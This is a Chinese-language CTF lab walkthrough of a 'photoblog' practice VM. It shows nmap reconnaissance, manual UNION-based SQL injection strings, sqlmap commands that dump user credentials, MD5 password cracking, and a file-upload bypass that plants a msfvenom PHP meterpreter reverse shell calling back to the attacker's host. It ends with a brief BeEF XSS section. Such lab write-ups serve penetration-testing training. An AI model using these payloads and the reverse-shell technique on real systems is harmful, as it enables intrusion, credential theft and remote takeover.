渗透ctf靶场机器练习7(sql注入)

渗透ctf靶场机器(7)

靶场下载链接:
百度云:https://pan.baidu.com/s/1dbTy_2pv_bbC4yYMosgS0g


信息收集

  1. 使用kali对靶机的ip进行探测,先查看kali的ip然后使用nmap探测kali所处的整个网段 渗透ctf靶场机器练习7(sql注入)_第1张图片

  2. 存在一个http服务,打开页面查看内容,并可以使用nikto或者dirb对网站目录进行探测渗透ctf靶场机器练习7(sql注入)_第2张图片

  3. 随便点击可以点击的超链接发一个页面非常有可能存在sql注入,这里先使用zap等全自动扫描器对网站进行一个扫描,存在两个高危漏洞,一个SQL注入和我们才猜想的一样,还有一个xss漏洞,xss需要存在其他用户的情况下可以更好地使用这里没有可以盗取cookie的用户存在所以使用sql注入来看看是否可以拿到shell渗透ctf靶场机器练习7(sql注入)_第3张图片
    渗透ctf靶场机器练习7(sql注入)_第4张图片

  4. 手动尝试下应该确实存在sql注入,继续尝试是否存在有sql注入的防护措施和单引号情况。渗透ctf靶场机器练习7(sql注入)_第5张图片

  5. 先使用order by尝试一下该表存在几个字段,当尝试到5的时候发现报错,该网站也没有关闭错误回显
    渗透ctf靶场机器练习7(sql注入)_第6张图片

  6. 直接使用union联合注入看看能不能成功,发现回显第二个字段,接下去就可以使用这个字段来进行查询渗透ctf靶场机器练习7(sql注入)_第7张图片

  7. sql注入的步骤:
    * 查询数据库cat.php?id=2 union select 1,schema_name,3,4 from information_schema.schemata(tips:在有行数限制的情况下可以使用group_concat()将查询出来的内容拼接在一起)渗透ctf靶场机器练习7(sql注入)_第8张图片
    * 查询出数据库中的表:cat.php?id=2 union select 1,table_name,3,4 from information_schema.tables where table_schema='photoblog'渗透ctf靶场机器练习7(sql注入)_第9张图片
    * 查询出可能存在账号密码的表的字段:cat.php?id=2 union select 1,column_name,3,4 from information_schema.columns where table_name='users'渗透ctf靶场机器练习7(sql注入)_第10张图片
    * 查询出具体的值:cat.php?id=2 union select 1,login,3,4 from users用户名、cat.php?id=2 union select 1,password,3,4 from users密码
    在这里插入图片描述渗透ctf靶场机器练习7(sql注入)_第11张图片

  8. 上面为完全手工注入,也可以使用sqlmap更加的快捷方便
    * sqlmap -u http://192.168.56.114/cat.php?id=3 -dbs
    * sqlmap -u http://192.168.56.114/cat.php?id=3 -D photoblog --tables
    * sqlmap -u http://192.168.56.114/cat.php?id=3 -D photoblog -T users --columns
    * sqlmap -u http://192.168.56.114/cat.php?id=3 -D photoblog -T users -C password,login --dump

  9. 查询出密码的MD5的值,直接在网上找一个MD5解密的网站解密得到密码P4ssw0rd

  10. 在管理员界面进行登录了,发现有一个上传页面渗透ctf靶场机器练习7(sql注入)_第12张图片

尝试渗透

  1. 大体思路是上传一个脚本来连接,这里使用msfvenom创建一个攻击脚本msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.106 lport=4444 -f raw
  2. 将代码复制出来新建一个.php文件,尝试上传,发现页面提醒不允许上传php文件,这里可以尝试使用大小写绕过,上传成功之后可以直接打开上传的文件,然后本机上使用msfconsle监听,使用multi/handler模块和php/meterpreter/reverse_tcp的payload
    将参数设置一下直接run
  3. 打开上传的页面发现,已经获取到了shell渗透ctf靶场机器练习7(sql注入)_第13张图片
  4. 蚁剑也可以成功连接,上传一句话,需要探测一下上传后文件的相对路径,可以使用dirb加-w参数http://192.168.56.114/admin/uploads/one
    渗透ctf靶场机器练习7(sql注入)_第14张图片

渗透ctf靶场机器练习7(sql注入)_第15张图片


xss

  1. 使用zap扫描发现xss漏洞可以查看一下哪里存在xss,cat.php?id=
渗透ctf靶场机器练习7(sql注入)_第16张图片渗透ctf靶场机器练习7(sql注入)_第17张图片
  • 这里可以使用beef xss来连接,页面中输入cat.php?id=
  • 渗透ctf靶场机器练习7(sql注入)_第18张图片
  • 打开浏览器打开http://127.0.0.1:3000/ui/authentication账号密码都是beef
    渗透ctf靶场机器练习7(sql注入)_第19张图片
  • 你可能感兴趣的:(学习笔记)